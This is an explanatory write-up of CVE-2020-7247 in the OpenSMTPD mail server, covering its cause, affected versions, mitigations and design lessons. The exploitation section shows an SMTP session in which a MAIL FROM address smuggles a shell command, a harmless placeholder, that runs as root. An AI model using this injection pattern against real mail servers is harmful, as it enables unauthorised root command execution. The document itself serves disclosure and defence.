# CVE-2020-7247: Privileged Remote Code Execution in OpenSMTPD ## Introduction OpenSMTPD is the mail transfer agent (e-mail server) of the OpenBSD operating system, and is also available as a 'portable' version for other Unix systems such as GNU/Linux. OpenBSD is known for having a strong focus on security features, and serious security vulnerabilities in OpenBSD are very rare - there have only been two remote holes exploitable in the default install in the project's 23-year existence. The recent CVE-2020-7247 vulnerability in OpenSMTPD, announced on the 29th of January 2020, very nearly added a third item to that list. ## Functionality As a mail transfer agent (MTA), OpenSMTPD can perform the following functions: 1. Accept e-mail from local processes for delivery to a local address (e.g. notifying the system administrator when a cron job failed) and save that e-mail to the relevant user's inbox. 2. Accept e-mail from local processes for delivery to a remote address (e.g. a web application sending a password reset e-mail) and pass it on to that address's e-mail server. 3. Accept e-mail over the internet for delivery to a local address (e.g. someone else sending an e-mail to a user of this system) and save that e-mail to the relevant user's inbox. 4. Accept e-mail over the internet from authenticated users for delivery to a remote address (e.g. a logged-in user sending e-mail from an e-mail client on a mobile phone) and pass it on to that address's e-mail server. The default configuration only allows the first two use cases and does not accept remote connections; this is what stopped this vulnerability from counting as a "remote hole in the default install". If the server configuration is changed to allow receiving mail from other systems then the vulnerability can be exploited remotely too. ## Vulnerability The vulnerability is caused by improper validation of the e-mail sender address. When receiving e-mail for local users, the OpenSMTPD server calls an external process to save it to the user's inbox; this simplifies supporting different file formats for the inbox as well as allowing users to create custom rules for processing the e-mails they receive. The sender address is included in the command line when the mailbox delivery program is called; if the sender address includes shell metacharacters then these will be interpreted by the shell, allowing the execution of commands on the server. ### Exploitation Before showing how the vulnerability is exploited, here is an example of a normal, non-malicious e-mail being transferred: ``` SENDER> [connects to server on port 25] SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD SENDER> HELO friendly-sender.org SERVER> 250 vulnerable-server.net Hello friendly-sender.org, pleased to meet you SENDER> MAIL FROM:<alice@friendly-sender.org> SERVER> 250 2.0.0 Ok SENDER> RCPT TO:<bob@vulnerable-server.net> SERVER> 250 2.1.5 Destination address valid: Recipient ok SENDER> DATA SERVER> 354 Enter mail, end with "." on a line by itself SENDER> Subject: Hello SENDER> SENDER> Lorem ipsum dolor sit amet SENDER> . SERVER> 250 2.0.0 Message accepted for delivery ``` Once the message is `accepted for delivery`, the server runs the command: `/usr/libexec/mail.local alice@friendly-sender.org bob` and passes the content of the mail on the standard input. The `mail.local` program then saves the e-mail to Bob's inbox file. In order to exploit the vulnerability, a hacker can include shell metacharacters (such as `;`, which terminates one command and starts another) in the sender address: ``` HACKER> [connects to server on port 25] SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD HACKER> HELO evil-hacker.com SERVER> 250 vulnerable-server.net Hello evil-hacker.com, pleased to meet you HACKER> MAIL FROM:<; killall puppies ; echo > SERVER> 250 2.0.0 Ok HACKER> RCPT TO:<root> SERVER> 250 2.1.5 Destination address valid: Recipient ok HACKER> DATA SERVER> 354 Enter mail, end with "." on a line by itself HACKER> Subject: Kill all puppies! HACKER> HACKER> Lorem ipsum dolor sit amet HACKER> . SERVER> 250 2.0.0 Message accepted for delivery ``` Once the message is `accepted for delivery`, the server runs the command `/usr/libexec/mail.local ; killall puppies ; echo @vulnerable-server.net root` (the `@vulnerable-server.net` is added because the address validation mistakenly assumes that the e-mail has come from a local process on the same server) and the shell interprets this as: ``` /usr/libexec/mail.local killall puppies echo @vulnerable-server.net root ``` This allows the hacker to run `killall puppies` as root on the vulnerable server. ### Vulnerable versions The vulnerability was added in OpenSMTPD version 6.4.0, when the architecture for local mail delivery was refactored, and removed in version 6.6.2 by fixing the address validation function. Most "stable" GNU/Linux distributions (e.g. Ubuntu, Debian, Red Hat) were still using version 6.0.3, from before the vulnerability was added, and were therefore not affected. ## Mitigation The simplest fix is to upgrade to the latest version of OpenSMTPD (6.6.2 at the time of writing). There are also some possible mitigations which could have prevented or at least reduced the impact of the vulnerability: - Run the OpenSMTPD server inside a container, jail, virtual machine or other system which restricts its ability to interfere with other services. - Reduce the privileges of the OpenSMTPD process. (This has only limited potential as OpenSMTPD needs to bind to privileged ports and also needs to be able to run processes as other users to deliver mail.) - Configure OpenSMTPD to save messages in a maildir in the user's home directory instead of in an mbox file in `/var/spool/mail/`, and to redirect `root`'s mail to a less-privileged user. This will mean that the mail delivery process never has to run as `root`. ## Conclusion The proximate cause of this vulnerability was a mistake in the validation of untrusted input, which could potentially have been caught by better code review processes or automated testing. However, the problem could have been avoided entirely if the system design did not include user input in a shell command line, and its severity would have been reduced if the command line had been run as a less-privileged user rather than as `root`. This demonstrates that security-conscious design can greatly reduce the attack surface of a computer system and make hackers' lives harder. ### Links - CVE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7247 - Original announcement: https://www.openwall.com/lists/oss-security/2020/01/28/3 - Deeper analysis of the bug from one of the OpenSMTPD developers: https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/